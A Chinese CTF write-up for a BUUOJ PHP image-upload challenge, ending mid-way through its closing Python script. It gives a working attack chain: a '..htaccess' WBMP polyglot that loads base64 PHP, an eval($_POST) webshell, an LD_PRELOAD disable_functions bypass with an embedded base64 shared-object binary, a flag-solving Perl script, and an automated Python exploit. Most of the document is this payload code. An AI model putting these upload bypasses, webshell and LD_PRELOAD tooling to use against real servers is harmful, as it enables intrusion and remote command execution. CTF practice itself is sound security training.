访问题目,发现注释中有提示: 访问源码
分析一下源码:
php
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->
1
可以看的出来,限制还是挺多的
首先限制了后缀,按理来说 PHP 大写就可以绕过了的,但是这里好像不行,不清楚到底为什么,看来我还是没有学到精髓。
尝试了一下常见的绕过的后缀发现都不行,那这里估计是要用 .htaccess
进行的绕过。
php
if (count($parts) === 0) {
die("lol filename is empty");
}
如果直接上传 .htaccess
上面代码会退出的,但是还有个代码处理文件名:
php
if (empty($parts[0])) {
array_shift($parts);
}
仔细思考一下发现可以上传 ..htaccess
就可以被系统处理成 .htaccess
了。
下面这个代码限制了扩展名,不过我们如果使用 .htaccess
进行绕过,那么后缀名无所谓,这里就不需要考虑了。
php
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
下面的代码限制了我们上传的内容不能有 <?
本来我觉得可以用 <script language="php">
或者 <% echo "Hello,PHP"; %>
格式绕过,后来发现不行。
php
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
不过没关系,.htaccess
配置里面可以指定要加载的 PHP 文件格式,可以用 PHP 流格式,也就可以用 base64 编码绕过。
下面的代码判断上传的文件必须具有 exif_imagetype 的文件头,但是普通的文件头会影响 .htaccess
文件的解析。
php
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
每个图像文件格式都以一些魔术字节开头,以此来定义自身类型。例如,PNG 将以4个字节
\x89PNG
开头。由于\x89PNG
不是有效的 .htacces 指令,因此我们无法将 PNG 文件格式用于我们的多语意文件中。 因此,我首先尝试寻找一个签名开头带有#
符号的文件格式。由于#
符号被解释为 .htaccess 文件中的注释,因此将忽略图像数据的其余部分,从而生成有效的 .htaccess/image 多语意文件。 不幸的是,我找不到以#
开头的图像文件格式。 后来,我的一个队友(@Tuan_Linh_98)发现在 .htaccess 文件中也会忽略以空字节(\x00
)开头的行,这和注释(#
)一样。
这个以 \x00
开头的图片格式中,控制文件大小的魔术字节最前面的是 .wbmp
假设下面这些数据代表一个 .wbmp
文件,那么 \x8a\x39\x8a\x39
就代表其大小,长 1337 宽 1337 。
php
b"\x00\x00\x8a\x39\x8a\x39\x0a"
这样就可以满足下面的代码的要求了
php
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
第一步:上传 ..htaccess
文件
注意这里要么使用代码上传,要么自己手动编辑二进制格式。
文件内容是:
php
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=mochu7.jpg"
第二步:上传 webshell
我们要上传的 PHP 源码是一个很简单正常的一句话木马。但是我们要进行 base64 编码要绕过系统对 <?
的检查。
php
<?php
echo "shell ok!";
eval($_POST['mochu7']);
?>
这里获得 webshell 之后,发现 disable_functions 限制了太多的函数了,我们没法直接执行命令。
正常情况下这里可以打开蚁剑,然后用里面的插件直接 bypass disable_functions,但是,我试了一下,结果失败了。
那么就手动自己尝试一下吧。
首先下载 github.com/yangyangwit... POC
然后将 POC 上传到靶标里面,我们就用刚才我们的 shell 上传就行
第三步:上传 bypass_disablefunc.php
php
Content-Type: multipart/form-data; boundary=0a1fe179d7d3b7514b385e4f60764b41
--0a1fe179d7d3b7514b385e4f60764b41
Content-Disposition: form-data; name="mochu7"
move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/e7495003bbcd157800895dd782398e9a5776981f/bypass_disablefunc.php');echo 'ok';var_dump(scandir('/var/www/html/images/e7495003bbcd157800895dd782398e9a5776981f'));
--0a1fe179d7d3b7514b385e4f60764b41
Content-Disposition: form-data; name="file"; filename="bypass_disablefunc.php"
Content-Type: application/octet-stream
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
--0a1fe179d7d3b7514b385e4f60764b41--
第四步:上传 bypass_disablefunc_x64.so
这里可以写代码上传或者自己手动右键从文件中加载
php
Content-Type: multipart/form-data; boundary=02a5109321aeeb9bc915101d94647c84
--02a5109321aeeb9bc915101d94647c84
Content-Disposition: form-data; name="mochu7"
move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/e7495003bbcd157800895dd782398e9a5776981f/bypass_disablefunc_x64.so');echo 'ok';var_dump(scandir('/var/www/html/images/e7495003bbcd157800895dd782398e9a5776981f'));
--02a5109321aeeb9bc915101d94647c84
Content-Disposition: form-data; name="file"; filename="bypass_disablefunc_x64.so"
Content-Type: application/octet-stream
【右键,手动加载文件】
--02a5109321aeeb9bc915101d94647c84--
到这其实就可以执行命令了,比如查看一下根目录
php
http://xxx.node5.buuoj.cn:81/images/7a859d0b672c2b791620f5044a5db12707e495cd/bypass_disablefunc.php?cmd=ls%20/&outpath=/tmp/xx&sopath=/var/www/html/images/7a859d0b672c2b791620f5044a5db12707e495cd/bypass_disablefunc_x64.so
第五步: 上传 perl 脚本
然后执行 flag 之后发现,竟然还有一道坎,还需要计算一下题目????
这里要么自己弹个 shell ,手动连进去手动算(我也不知道 BUUOJ 平台能不能弹 :) ,要么写个 shell 脚本去自动算,这里直接给出师傅写的 perl 脚本吧。其他脚本应该也行,但是你要自己会写 :(
php
Content-Type: multipart/form-data; boundary=88222246bc9249dbc4edd2668409c8eb
--88222246bc9249dbc4edd2668409c8eb
Content-Disposition: form-data; name="mochu7"
move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/e7495003bbcd157800895dd782398e9a5776981f/fuck.pl');echo 'ok';var_dump(scandir('/var/www/html/images/e7495003bbcd157800895dd782398e9a5776981f'));
--88222246bc9249dbc4edd2668409c8eb
Content-Disposition: form-data; name="file"; filename="fuck.pl"
Content-Type: application/octet-stream
#!/usr/bin/env perl
use warnings;
use strict;
use IPC::Open2;
$| = 1;
chdir "/"; #!!!!!!!!!!!!!!!!!!!!!!!!!!
my $pid = open2(\*out2, \*in2, './get_flag') or die;
my $reply = <out2>;
print STDOUT $reply; #string: solve captcha..
$reply = <out2>;
print STDOUT $reply; #captcha formula
my $answer = eval($reply);
print STDOUT "answer: $answer
";
print in2 " $answer "; #send it to process
in2->flush();
$reply = <out2>;
print STDOUT $reply; #flag :D
--88222246bc9249dbc4edd2668409c8eb--
第六步: 获取 shell
最后执行命令即可
php
http://141fb1b9-7f48-42f1-b219-fb85184f0dd1.node5.buuoj.cn:81/images/e7495003bbcd157800895dd782398e9a5776981f/bypass_disablefunc.php?cmd=perl%20fuck.pl&outpath=/tmp/xx&sopath=/var/www/html/images/e7495003bbcd157800895dd782398e9a5776981f/bypass_disablefunc_x64.so
最后给一个一键获取 flag 的脚本吧:
python
import re
import requests
import base64
import os
class CTF:
def __init__(self, ctf_url_):
self.shell_url = None
self.valid_wbmp = b"\x00\x00\x8a\x39\x8a\x39\x0a"
if ctf_url_[-1] == "/":
self.ctf_url = ctf_url_
else:
self.ctf_url = ctf_url_ + "/"
self.req = requests.Session()
self.req.cookies.set("PHPSESSID", self.req.get(self.ctf_url).cookies.get("PHPSESSID"))
if os.getenv('USER') == "sanqiushu":
self.req.proxies = {"http": "http://127.0.0.1:8080"}
self.pics_dir = ""
def run_poc(self):
resp = self.req.get(self.ctf_url + "images/" + self.pics_dir + "/bypass_disablefunc.php?cmd=perl%20fuck.pl&outpath=/tmp/xx&sopath=/var/www/html/images/" + self.pics_dir + "/bypass_disablefunc_x64.so")
print(resp.text)
print("\n\nyou got it!!!! ", re.findall("(flag{.*?})", resp.text)[0])
def upload_bypass_prel(self):
prel_data = """#!/usr/bin/env perl
use warnings;
use strict;
use IPC::Open2;
$| = 1;
chdir "/"; #!!!!!!!!!!!!!!!!!!!!!!!!!!
my $pid = open2(*out2, *in2, './get_flag') or die;
my $reply = <out2>;
print STDOUT $reply; #string: solve captcha..
$reply = <out2>;
print STDOUT $reply; #captcha formula
my $answer = eval($reply);
print STDOUT "answer: $answer\n";
print in2 " $answer "; #send it to process
in2->flush();
$reply = <out2>;
print STDOUT $reply; #flag :D"""
files = [('file', ('fuck.pl', prel_data, 'application/octet-stream'))]
param = {"mochu7": "move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/" + self.pics_dir + "/fuck.pl');echo 'ok';var_dump(scandir('/var/www/html/images/" + self.pics_dir + "'));"}
resp = self.req.post(url=self.shell_url, files=files, data=param)
print(resp.text)
def upload_bypass_so(self):
so_data = b'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AAAAAAMAEQAYCSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA/QAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA+AEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=='
files = [
('file', ('bypass_disablefunc_x64.so', base64.b64decode(so_data), 'application/octet-stream'))]
param = {
"mochu7": "move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/" + self.pics_dir + "/bypass_disablefunc_x64.so');echo 'ok';var_dump(scandir('/var/www/html/images/" + self.pics_dir + "'));"}
resp = self.req.post(url=self.shell_url, files=files, data=param)
print(resp.text)
def upload_bypass_php(self):
php_data = """<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>"""
files = [('file', ('bypass_disablefunc.php', php_data, 'application/octet-stream'))]
param = {"mochu7": "move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/" + self.pics_dir+ "/bypass_disablefunc.php');echo 'ok';var_dump(scandir('/var/www/html/images/" + self.pics_dir+ "'));"}
resp = self.req.post(url=self.shell_url, files=files, data=param)
print(resp.text)
def phpinfo_check(self):
data = {
"mochu7": "phpinfo();"
}
resp = self.req.post(self.shell_url, data=data)
if "<title>phpinfo()</title>" in resp.text:
print("disable_function 如下:", re.findall("<td class="e">disable_functions</td><td class="v">(.*?)</td>", resp.text)[0])
else:
